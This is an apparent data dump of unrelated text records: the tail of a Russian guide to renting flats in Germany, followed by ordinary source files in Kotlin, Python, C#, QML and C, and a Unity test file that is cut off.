не сильно, поскольку контракт еще не подписан. Договариваетесь с хозяином о контракте, читаете сами или даете почитать немецкоговорящим коллегам, подписываете - и на этом ваши мучения заканчиваются. Можете отключать уведомления, и, наконец-то, с утра вашим первым делом будет не просмотр новых объявлений и отклик, а душ и завтрак :). Ждете даты въезда.\n9. При приемке квартиры внимательно смотрите на состояние, проверяете сантехнику, выключатели, электроприборы, осматриваете углы на предмет плесени. Фиксируете все неисправности/недочеты/замечания, иначе их спишут на вас по окончании вашего контракта. Не забывайте про условия возврата квартиры (должно быть описано в контракте): зачастую квартира вам сдается без мебели и свежеотремонтированная, вам, скорее всего, при выезде также придется побелить все стены и привести пол в исходное состояние (лакировать паркет\\переложить ламинат).\n10. Получаете ключи от квартиры, гаража, подвала (опционально) и начинаете наслаждаться жизнью.\n\n\n## Словарик квартирного вопроса:\n- Wohnung - собственно, \"жилье\".\n- Zimmer - комната, встречается обычно в контексте \"2 Zi Wohnung\".\n- Kalt - \"холодная\", \"базовая\" стоимость аренды без учета коммунальных и других услуг.\n- Nebenkosten - дополнительные платежи, обычно сюда входит вода, отопление и прочее. **Внимание** - [электричество](./Электричество.md) почти никогда в Nebenkosten не входит, за него надо будет платить отдельно, как и за интернет.\n- Warm - \"теплая\" цена, обычно Kalt + Nebenkosten, возможно плюс доплаты, например, за гараж. В общем, это та сумма, которую вы будете обязаны ежемесячно платить хозяину.\n- Mieter - это вы, то бишь тот, кто снимает жилье, арендатор.\n- Vermieter - это landlord, хозяин, кто сдает жилье, арендодатель.\n- Besichtigungs Termin - личная встреча для осмотра квартиры.\n- Mietvertrag - контракт на аренду жилья.\n- WG (Wohngemeinschaft) - жильё для совместного проживания. При поиске комнаты ориентируемся именно на эту аббревиатуру.\n\n\n## Документы\nКак описано выше, рекомендуется заранее подготовить папку со всеми документами. А именно:\n- Анкета, т.н. **Mieterselbstauskunft**. В интернете есть множество вариантов, один из самых простых и доступных вот [этот](http://www.mietrecht-hilfe.de/media/downloads/Selbstauskunft-Mieter-Vorlage.pdf). Анкета на двух человек, если вы собираетесь снимать один, можно во второй колонке ставить прочерки. Заполняете все правдиво, включая вашу зарплату.\n- Последние три расчетных листка (**payslips**), если есть, или на худой конец контракт с указанием зарплаты. Конечно, не надо делать копию многостраничного контракта, но будьте готовы его показать по просьбе хозяина.\n- **SCHUFA**. Что-то вроде вашей кредитной истории, а также некая оценка вас как плательщика. Даже если вы только приехали, рекомендуется ее получить. Зачастую арендодателям достаточно красивого листа \"Zertifikat\", на котором написано, что в вашей истории найдены только позитивные записи, но особо въедливые хозяева также могут просить лист, на котором видна ваша оценка (**SCHUFA-Basisscore**). См. детали ниже.\n- Рекомендательное письмо с работы. Попросите компанию или начальника написать вам что-нибудь официальное на бланке с логотипом и печатью компании. Базовый минимум \"подтверждаем, что такой-то такой-то работает в нашей компании с такого-то числа на бессрочном контракте\".\n- Рекомендательное письмо от текущего (предыдущего) хозяина. Скорее всего, даже на временной квартире у вас будет собственник квартиры или агентство - попросите их написать вам письмо о том, какой вы молодец, вовремя платите аренду и не устраиваете костров в комнате. \n Документ называется Mietschuldenfreiheitsbestätigung или [Mietzahlungsbestätigung](https://www.immobilienscout24.de/ratgeber/wohnungsbewerbung/mietzahlungsbestaetigung.html). \n Как [запросить](https://www.reddit.com/r/germany/comments/4qwt9f/q_how_to_request/).\n- Копия паспорта. Есть мнение, что лучше замазать вашу подпись на копии.\n\nПервые три пункта относятся к категории must have (Schufa, теоретически, можно показать потом, но лучше все-таки иметь все документы на руках). Остальные опционально, но очень рекомендуется.\n\n\n## SCHUFA\nSCHUFA - это крупная немецкая организация, которая, в числе прочего, занимается кредитными историями и оценкой \"надежности\" резидентов Германии. Если вы все платите вовремя, не получаете штрафов и имеете зарплату, то обычно никаких проблем возникнуть не должно. Но просрочки платежей, частые смены банка, злостные нарушения законов (повторные проезды без билета, например), большое количество кредитов - все это может негативно отразиться на вашей оценке, вследствие чего вам будет сложнее найти квартиру (какой хозяин захочет сдавать злостному неплательщику), банки откажут в кредите или выдадут под грабительский процент, и прочее.\n\nОбычно под SCHUFA подразумевается именно выписка из \"кредитной истории\", включающая в себя сертификат о вашей надежности и лист с точной оценкой SCHUFA-Basisscore (в процентах от 0 до 100). Чем выше оценка, тем лучше. 95% и выше считается хорошей оценкой, 98% и выше - идеальной. Бумажная выписка актуальна три-четыре месяца, этого должно хватить на поиск квартиры даже в самом тяжелом случае.\n\nКак получить:\n - Если нужно срочно, спрашивайте в банках Postbank или Volksbank ([см. карту отделений](https://www.meineschufa.de/index.php?site=14_3)). Надо иметь с собой регистрацию (адрес в Германии), паспорт и **немецкий счет в банке**. Делают за 10 минут. Стоит 29.95 евро. Деньги со счета будут списаны в течение 1-2 недель.\n - На основании § 34 Bundesdatenschutzgesetz SCHUFA можно получить бесплатно один раз в год, заполнив бумажную форму и отправив почтой. Следуйте этой довольно понятной [инструкции](http://www.ratgeber-geld.de/schufa/auskunft.html). Бланк можно найти [здесь](https://www.meineschufa.de/index.php?site=11_3_1).\n - Можно получить SCHUFA и через \"скаут\" - [ссылка на услугу](https://bonitaetscheck.immobilienscout24.de/). Стоит 29.95 евро. Присылают либо на почтовый ящик, либо дают скачать электронный вариант. Бонусом идет месячный пробный период премиум аккаунта (по состоянию на начало 2018г). Если премиум аккаунт не нужен (а он скорее всего не нужен), то лучше сразу его отключить, так как иначе он автоматически продлится и скаут втихую начнет каждый месяц списывать абонентскую плату.\n\n### Полезные ссылки по поиску\nСайты для поиска:\n* https://www.immobilienscout24.de/ - крупнейший сайт для поиска квартир в Германии,\n* http://www.immonet.de/,\n* https://www.immowelt.de/,\n* http://www.wg-gesucht.de/,\n* http://kleinanzeigen.ebay.de,\n* https://www.akelius.de/ - это агентство, которое владеет многоквартирными домами под сдачу, вам помогает их агент, но платить ему не надо. Очень хорошие и говорят по-английски.\n* ![](files/be.png)\n * https://www.coming-home.com/en/ - агентство, цены выше среднего, но квартиры все меблированные,\n * https://www.city-wohnen.de/eng/berlin/ - агентство, цены немного выше среднего, как правило в цену уже все включено (газ, вода, свет), квартиры все меблированные, быстро отвечают и хорошо подбирают вариант если точно опишете свои пожелания и район, общение на английском.\n * Группы в фейсбуке, объявлений много, но есть и мошенники: [1](https://www.facebook.com/groups/183048595060764), [2](https://www.facebook.com/groups/681027242074146/), [3](https://www.facebook.com/groups/berlinrooms), [4](https://www.facebook.com/groups/easy.wg), [5](https://www.facebook.com/groups/890919300923458),\n\nЕсли квартира нужна срочно и меблированная:\n* https://www.nestpick.com\n* http://www.homecompany.de/en/index\n* https://wunderflats.com - сервис для поиска квартир на первое время специально для переезжающих в Берлин, Мюнхен или Гамбург. Стоимость выше среднего, но в цену уже включены свет, газ, вода и интернет. Также предоставляется справка для банка (Wohungsgeberbescheinigung)\n* ![](files/be.png)\n * https://www.berlinovo.de/de\n * https://www.central-home.de/en/home/\n * https://www.city-wohnen.de/eng/berlin/\n* ![](files/mu.png)\n * https://www.mrlodge.ru/\n* Frankfurt (M)\n * https://www.city-residence.de/ Квартиры на короткий срок (от 3 мес), можно снять удалённо, есть мебель. Владельцы говорят на английском. Можно прописаться. Цены, естественно, выше.\n\nСистемы автоматизации поиска и отслеживание обновлений:\n* https://t.me/BerlinFlatsBot - telegram bot для Берлина, оповещает о появлении новых объявлений на популярных ресурсах;\n\n## Агентство или собственники?\nКвартиры можно снимать помимо “частников” также от фирм, например, так называемые Wohnungsgenossenschaften.\n - Преимущества в том, что, снимая у фирмы, нет недостатков “частников”, например, собственная необходимость, неправильное поведение арендодателя (разного рода странные требования и запреты), юридические аспекты (например, реже мухлюют с Nebenkostenabrechnung).\n - Wohnungsgenossenschaften обычно сдают жилье без маклера, т.е. маклерские можно сэкономить. \n - Недостатки: время ожидания квартиры в зависимости от фирмы и района может быть достаточно долгим Wohnungsgenossenschaften в Берлине [здесь](http://www.berlin.de/special/immobilien-und-wohnen/adressen/wohnungsbaugenossenschaft/)\n\n## Черный список\nСдали очень проблемную недешевую квартиру, взяли комиссию, дело дошло до адвоката, по рассказам жильцов этого дома с ними судились пару раз, о проблемах явно знали и не предупредили:\n - Roseneck management\n - Pierre Kübler и его агентство Selectra\n - Дом по адресу am Volkspark 23 и Prinzregenstr 23\n - Conrad Keifl GmbH & Co. KG Besitzgesellschaft дом по адресу m Örlinger Holz 14, 89075 Ulm с плесенью\n\n## Защита прав квартиросъемщиков\nДля помощи квартиросъемщикам могут быть полезны **Mietervereine** (Клуб или Ассоциация арендаторов). Это специализированные организации, вступив в которые можно получать юридические консультации и помощь в различных вопросах, таких как письменная коммуникация с владельцами недвижимости, разрешение конфликтов и т.д. \nПример для южного Гессена: [Mieterbund Darmstadt](https://www.mieterbund-darmstadt.de/ru/). \nПервый год членства стоит 110 Евро, последующие - 75 Евро. Говорят по английски. \n\n## Цены по районам\n\n* ![](files/be.png)\n * [Карта сравнения цен](https://www.immobilienscout24.de/neubau/ratgeber/aktuelle-neubau-themen/kauf-map-berlin-2016.html) по состоянию на 2016 год. Источник: [статья](http://www.immobilienscout24.de/immobilienbewertung/ratgeber/mietpreise-und-kaufpreise/mietspiegel/miet-map-berlin.html) на [immobilienscout24](http://www.immobilienscout24.de/)\n * [Интерактивная карта стоимости аренды от Berliner Morgenpost](http://interaktiv.morgenpost.de/mietkarte-berlin/). Можно выбрать площадь квартиры и ежемесячный доход, карта покажет, в каких районах скорее всего есть подходящие цены. На данный момент актуальность данных: 1-й квартал 2015.\n* ![](files/mu.png)\n * Аналогичная [статья](https://www.immobilienscout24.de/immobilienbewertung/ratgeber/mietpreise-und-kaufpreise/mietspiegel/mietspiegel-muenchen.html)\n\nЕсли вы не знаете, где снять:\n - Купите билет на день/неделю и покатайтесь пару дней автобусами/трамваями, посмотрите город.\n - Используйте Google Maps Street View и анализируйте улицу/район по внешнему виду (наличие/отсутствие граффити, озеленение, и т.д).\n\n## Переезд, доставка грузов, перенос тяжестей\n- http://markmanwithavan.tumblr.com/\n- По Берлину:\n - +49 176 40246446: Николай (Микола, украино-русско-немецко-язычный) - владеет несколькими автомобилями разных размеров.\n - +49 176 23154660: Михаил (русскоязычный).\n - +49 176 43347280: Вадим (русскоязычный).\n- Перевоз грузов из Днепропетровска (Украина): +380 562325842, +380 562367980.\n\n## Ссылки на отчеты о поисках\n- http://berlinsale.com/kak-snyat-kvartiru-v-berline-lichnoe-mnenie инструкция по поиску квартир \"offline\"\n- http://telegra.ph/Kak-snyat-kvartiru-v-Berline-07-31 - Как снять квартиру в Берлине и не облажаться\n"} {"text": "package org.tasks.ui\n\nimport android.os.Bundle\nimport android.view.LayoutInflater\nimport android.view.View\nimport android.view.ViewGroup\nimport androidx.fragment.app.Fragment\nimport com.todoroo.astrid.api.Filter\nimport dagger.hilt.android.AndroidEntryPoint\nimport org.tasks.databinding.FragmentTaskEditEmptyBinding\nimport org.tasks.themes.ColorProvider\nimport org.tasks.themes.ThemeColor\nimport javax.inject.Inject\n\n@AndroidEntryPoint\nclass EmptyTaskEditFragment : Fragment() {\n\n @Inject lateinit var themeColor: ThemeColor\n @Inject lateinit var colorProvider: ColorProvider\n\n companion object {\n const val EXTRA_FILTER = \"extra_filter\"\n\n fun newEmptyTaskEditFragment(filter: Filter): EmptyTaskEditFragment {\n val arguments = Bundle()\n arguments.putParcelable(EXTRA_FILTER, filter)\n val fragment = EmptyTaskEditFragment()\n fragment.arguments = arguments\n return fragment\n }\n }\n\n override fun onCreateView(\n inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?\n ): View? {\n val binding = FragmentTaskEditEmptyBinding.inflate(inflater)\n\n val tint = arguments?.getParcelable<Filter>(EXTRA_FILTER)?.tint\n\n val color = colorProvider.getThemeColor(if (tint == null || tint == 0) {\n themeColor.primaryColor\n } else {\n tint\n })\n\n color.apply(binding.toolbar.toolbar)\n\n return binding.root\n }\n}"} {"text": "from __future__ import unicode_literals\nfrom datetime import datetime\nfrom django.test import TestCase\nfrom django_ajax.encoder import LazyJSONEncoder\nimport json\n\n\nclass LazyJSONEncoderMixinTestCase(TestCase):\n def test_default_date(self):\n data = {'datetime': datetime.today()}\n self.assertEqual('{\"datetime\": \"' + data['datetime'].isoformat() + '\"}', json.dumps(data, cls=LazyJSONEncoder))\n\n\nclass BaseTestCase(TestCase):\n def post(self, uri, data=None):\n response = resp = self.client.get(uri, data, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n\n self.assertEquals(200, resp.status_code)\n self.assertEquals('application/json', response['Content-Type'])\n if isinstance(response.content, str):\n return response, json.loads(response.content)\n else:\n return response, json.loads(response.content.decode('utf-8'))\n\n\nclass FooTestCase(BaseTestCase):\n def test_json_response(self):\n resp, data = self.post('/ajax/foo')\n\n self.assertEqual('OK', data['statusText'])\n self.assertEqual({'foo': True}, data['content'])\n\n\nclass LoginRequiredTestCase(BaseTestCase):\n def test_json_response(self):\n resp, data = self.post('/ajax/login-required')\n\n self.assertEquals(302, data['status'])\n self.assertEqual('FOUND', data['statusText'])\n\n\nclass RenderTestCase(BaseTestCase):\n def test_json_response(self):\n resp, data = self.post('/ajax/render')\n\n self.assertEquals(200, data['status'])\n self.assertEqual('OK', data['statusText'])\n self.assertEqual('<html>Hello</html>', data['content'].strip())\n\n\nclass RenderClassBasedViewTestCase(BaseTestCase):\n def test_json_response(self):\n resp, data = self.post('/ajax/render-class-based-view')\n\n self.assertEquals(200, data['status'])\n self.assertEqual('OK', data['statusText'])\n self.assertEqual('<html>Hello</html>', data['content'].strip())\n\n\nclass ExceptionTestCase(BaseTestCase):\n def test_json_response(self):\n resp, data = self.post('/ajax/exception')\n\n # self.assertEquals(200, data['status'])\n self.assertEqual('INTERNAL SERVER ERROR', data['statusText'])\n\n\nclass RaiseExceptionTestCase(BaseTestCase):\n def test_json_response(self):\n resp, data = self.post('/ajax/raise-exception')\n\n # self.assertEquals(200, data['status'])\n self.assertEqual('NOT FOUND', data['statusText'])\n"} {"text": "// Copyright (c) .NET Foundation. All rights reserved.\n// Licensed under the MIT License. See LICENSE in the project root for license information.\n\nusing RabbitMQ.Client;\nusing System;\n\nnamespace Microsoft.Extensions.Messaging.RabbitMQ\n{\n public interface IPersistentRabbitMQConnection : IDisposable\n {\n bool IsConnected { get; }\n\n bool TryConnect();\n\n IModel CreateModel();\n }\n}\n"} {"text": "import \"../Contacts\"\nimport \"../Groups\"\nimport \"../common\"\nimport QtQuick 1.1\nimport com.nokia.meego 1.0\nWAPage {\n id: selectorroot\n property alias contactsTitle:contactsSelector.title\n property alias groupsTitle:groupsSelector.title\n property int show:2 //0:all, 1:contacts, 2:groups\n property bool multiSelect:false\n\n signal selected(variant selectedItem)\n\n tools:selectorTools\n\n\n TabGroup {\n id: tabGroups\n currentTab: contactsSelector\n\n SyncedContactsList{\n id:contactsSelector\n\n Connections {\n onSelected:selected(selectedItem)\n }\n height: parent.height\n }\n GroupsList {\n id: groupsSelector\n Connections {\n onSelected:selected(selectedItem)\n }\n height: parent.height\n }\n }\n\n ToolBarLayout {\n\n id:selectorTools\n\n ToolIcon {\n platformIconId: \"toolbar-back\"\n onClicked: pageStack.pop()\n }\n\n ButtonRow {\n style: TabButtonStyle { inverted:theme.inverted }\n\n TabButton {\n id: contactsButton\n platformStyle: TabButtonStyle{inverted:theme.inverted}\n text: qsTr(\"Contacts\")\n //iconSource: \"image://theme/icon-m-toolbar-new-chat\" + (theme.inverted ? \"-white\" : \"\")\n tab: contactsSelector\n }\n TabButton {\n id: groupsbButton\n platformStyle: TabButtonStyle{inverted: theme.inverted}\n text: qsTr(\"Groups\")\n //iconSource: \"common/images/book\" + (theme.inverted ? \"-white\" : \"\") + \".png\";\n tab: groupsSelector\n }\n }\n\n\n }\n}\n"} {"text": "// /** @file\r\n// Instance of S3 PCI Library based on PCI and S3 BootScript Library.\r\n//\r\n// S3 PCI Services that perform PCI Configuration cycles and\r\n// also enable the PCI operation to be replayed during an S3 resume.\r\n//\r\n// Copyright (c) 2006 - 2014, Intel Corporation. All rights reserved.<BR>\r\n//\r\n// This program and the accompanying materials are\r\n// licensed and made available under the terms and conditions of the BSD License\r\n// which accompanies this distribution. The full text of the license may be found at\r\n// http://opensource.org/licenses/bsd-license.php\r\n// \r\n// THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n// WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n//\r\n// **/\r\n\r\n\r\n#string STR_MODULE_ABSTRACT #language en-US \"Instance of S3 PCI Library based on PCI and S3 BootScript Library\"\r\n\r\n#string STR_MODULE_DESCRIPTION #language en-US \"S3 PCI Services that perform PCI Configuration cycles and also enable the PCI operation to be replayed during an S3 resume.\"\r\n\r\n"} {"text": "/* crypto/ecdh/ecdh.h */\n/* ====================================================================\n * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED.\n *\n * The Elliptic Curve Public-Key Crypto Library (ECC Code) included\n * herein is developed by SUN MICROSYSTEMS, INC., and is contributed\n * to the OpenSSL project.\n *\n * The ECC Code is licensed pursuant to the OpenSSL open source\n * license provided below.\n *\n * The ECDH software is originally written by Douglas Stebila of\n * Sun Microsystems Laboratories.\n *\n */\n/* ====================================================================\n * Copyright (c) 2000-2002 The OpenSSL Project. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and/or other materials provided with the\n * distribution.\n *\n * 3. All advertising materials mentioning features or use of this\n * software must display the following acknowledgment:\n * \"This product includes software developed by the OpenSSL Project\n * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)\"\n *\n * 4. The names \"OpenSSL Toolkit\" and \"OpenSSL Project\" must not be used to\n * endorse or promote products derived from this software without\n * prior written permission. For written permission, please contact\n * licensing@OpenSSL.org.\n *\n * 5. Products derived from this software may not be called \"OpenSSL\"\n * nor may \"OpenSSL\" appear in their names without prior written\n * permission of the OpenSSL Project.\n *\n * 6. Redistributions of any form whatsoever must retain the following\n * acknowledgment:\n * \"This product includes software developed by the OpenSSL Project\n * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)\"\n *\n * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY\n * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n * ====================================================================\n *\n * This product includes cryptographic software written by Eric Young\n * (eay@cryptsoft.com). This product includes software written by Tim\n * Hudson (tjh@cryptsoft.com).\n *\n */\n#ifndef HEADER_ECDH_H\n#define HEADER_ECDH_H\n\n#include <openssl/opensslconf.h>\n\n#ifdef OPENSSL_NO_ECDH\n#error ECDH is disabled.\n#endif\n\n#include <openssl/ec.h>\n#include <openssl/ossl_typ.h>\n#ifndef OPENSSL_NO_DEPRECATED\n#include <openssl/bn.h>\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nconst ECDH_METHOD *ECDH_OpenSSL(void);\n\nvoid\t ECDH_set_default_method(const ECDH_METHOD *);\nconst ECDH_METHOD *ECDH_get_default_method(void);\nint \t ECDH_set_method(EC_KEY *, const ECDH_METHOD *);\n\nint ECDH_compute_key(void *out, size_t outlen, const EC_POINT *pub_key, EC_KEY *ecdh,\n void *(*KDF)(const void *in, size_t inlen, void *out, size_t *outlen));\n\nint \t ECDH_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new \n\t\t*new_func, CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func);\nint \t ECDH_set_ex_data(EC_KEY *d, int idx, void *arg);\nvoid \t *ECDH_get_ex_data(EC_KEY *d, int idx);\n\n\n/* BEGIN ERROR CODES */\n/* The following lines are auto generated by the script mkerr.pl. Any changes\n * made after this point may be overwritten when the script is next run.\n */\nvoid ERR_load_ECDH_strings(void);\n\n/* Error codes for the ECDH functions. */\n\n/* Function codes. */\n#define ECDH_F_ECDH_CHECK\t\t\t\t 102\n#define ECDH_F_ECDH_COMPUTE_KEY\t\t\t\t 100\n#define ECDH_F_ECDH_DATA_NEW_METHOD\t\t\t 101\n\n/* Reason codes. */\n#define ECDH_R_KDF_FAILED\t\t\t\t 102\n#define ECDH_R_NON_FIPS_METHOD\t\t\t\t 103\n#define ECDH_R_NO_PRIVATE_VALUE\t\t\t\t 100\n#define ECDH_R_POINT_ARITHMETIC_FAILURE\t\t\t 101\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n"} {"text": "using Zinnia.Data.Collection.List;\r\nusing Zinnia.Rule;\r\nusing Zinnia.Tracking;\r\n\r\nnamespace Test.Zinnia.Tracking\r\n{\r\n using NUnit.Framework;\r\n using System.Collections;\r\n using Test.Zinnia.Utility.Mock;\r\n using Test.Zinnia.Utility.Stub;\r\n using UnityEngine;\r\n using UnityEngine.TestTools;\r\n using Assert = UnityEngine.Assertions.Assert;\r\n\r\n public class SurfaceLocatorTest\r\n {\r\n private GameObject containingObject;\r\n private SurfaceLocator subject;\r\n private WaitForFixedUpdate waitForFixedUpdate = new WaitForFixedUpdate();\r\n\r\n [SetUp]\r\n public void SetUp()\r\n {\r\n Physics.autoSimulation = false;\r\n containingObject = new GameObject(\"ContainingObject\");\r\n subject = containingObject.AddComponent<SurfaceLocator>();\r\n }\r\n\r\n [TearDown]\r\n public void TearDown()\r\n {\r\n Object.DestroyImmediate(subject);\r\n Object.DestroyImmediate(containingObject);\r\n Physics.autoSimulation = true;\r\n }\r\n\r\n [Test]\r\n public void ValidSurface()\r\n {\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n //Process just calls Locate() so may as well just test the first point\r\n Physics.Simulate(Time.fixedDeltaTime);\r\n subject.Process();\r\n\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n subject.gameObject.SetActive(false);\r\n subject.gameObject.SetActive(true);\r\n\r\n Assert.AreEqual(null, subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [Test]\r\n public void MissingSurface()\r\n {\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.down;\r\n\r\n Physics.Simulate(Time.fixedDeltaTime);\r\n subject.Locate();\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n Assert.IsNull(subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [Test]\r\n public void InvalidLocateSameSurface()\r\n {\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n //Process just calls Locate() so may as well just test the first point\r\n Physics.Simulate(Time.fixedDeltaTime);\r\n subject.Process();\r\n\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n surfaceLocatedMock.Reset();\r\n\r\n subject.Process();\r\n\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [Test]\r\n public void ValidLocateSameSurfaceIgnoreEquality()\r\n {\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n\r\n subject.MustChangePosition = false;\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n //Process just calls Locate() so may as well just test the first point\r\n Physics.Simulate(Time.fixedDeltaTime);\r\n subject.Process();\r\n\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n surfaceLocatedMock.Reset();\r\n\r\n subject.Process();\r\n\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator InvalidSurfaceDueToTargetValidity()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject invalidSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n invalidSurface.transform.position = Vector3.forward * 5f;\r\n invalidSurface.AddComponent<RuleStub>();\r\n NegationRule negationRule = invalidSurface.AddComponent<NegationRule>();\r\n AnyComponentTypeRule anyComponentTypeRule = invalidSurface.AddComponent<AnyComponentTypeRule>();\r\n SerializableTypeComponentObservableList rules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeRule.ComponentTypes = rules;\r\n rules.Add(typeof(RuleStub));\r\n\r\n negationRule.Rule = new RuleContainer\r\n {\r\n Interface = anyComponentTypeRule\r\n };\r\n subject.TargetValidity = new RuleContainer\r\n {\r\n Interface = negationRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsFalse(surfaceLocatedMock.Received);\r\n Assert.IsNull(subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(invalidSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator ValidSurfaceDueToTargetValidity()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new UnityEventListenerMock();\r\n subject.SurfaceLocated.AddListener(surfaceLocatedMock.Listen);\r\n\r\n validSurface.transform.position = Vector3.forward * 5f;\r\n validSurface.AddComponent<RuleStub>();\r\n AnyComponentTypeRule anyComponentTypeRule = validSurface.AddComponent<AnyComponentTypeRule>();\r\n SerializableTypeComponentObservableList rules = containingObject.AddComponent<SerializableTypeComponentObservableList>();\r\n yield return null;\r\n\r\n anyComponentTypeRule.ComponentTypes = rules;\r\n rules.Add(typeof(RuleStub));\r\n\r\n subject.TargetValidity = new RuleContainer\r\n {\r\n Interface = anyComponentTypeRule\r\n };\r\n\r\n subject.SearchOrigin = searchOrigin;\r\n subject.SearchDirection = Vector3.forward;\r\n\r\n yield return waitForFixedUpdate;\r\n subject.Locate();\r\n yield return waitForFixedUpdate;\r\n Assert.IsTrue(surfaceLocatedMock.Received);\r\n Assert.AreEqual(validSurface.transform, subject.surfaceData.Transform);\r\n\r\n Object.DestroyImmediate(validSurface);\r\n Object.DestroyImmediate(searchOrigin);\r\n }\r\n\r\n [UnityTest]\r\n public IEnumerator ValidSurfaceDueToEventualTargetValidity()\r\n {\r\n Physics.autoSimulation = true;\r\n\r\n GameObject invalidSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject validSurface = GameObject.CreatePrimitive(PrimitiveType.Cube);\r\n GameObject searchOrigin = new GameObject(\"SearchOrigin\");\r\n\r\n UnityEventListenerMock surfaceLocatedMock = new 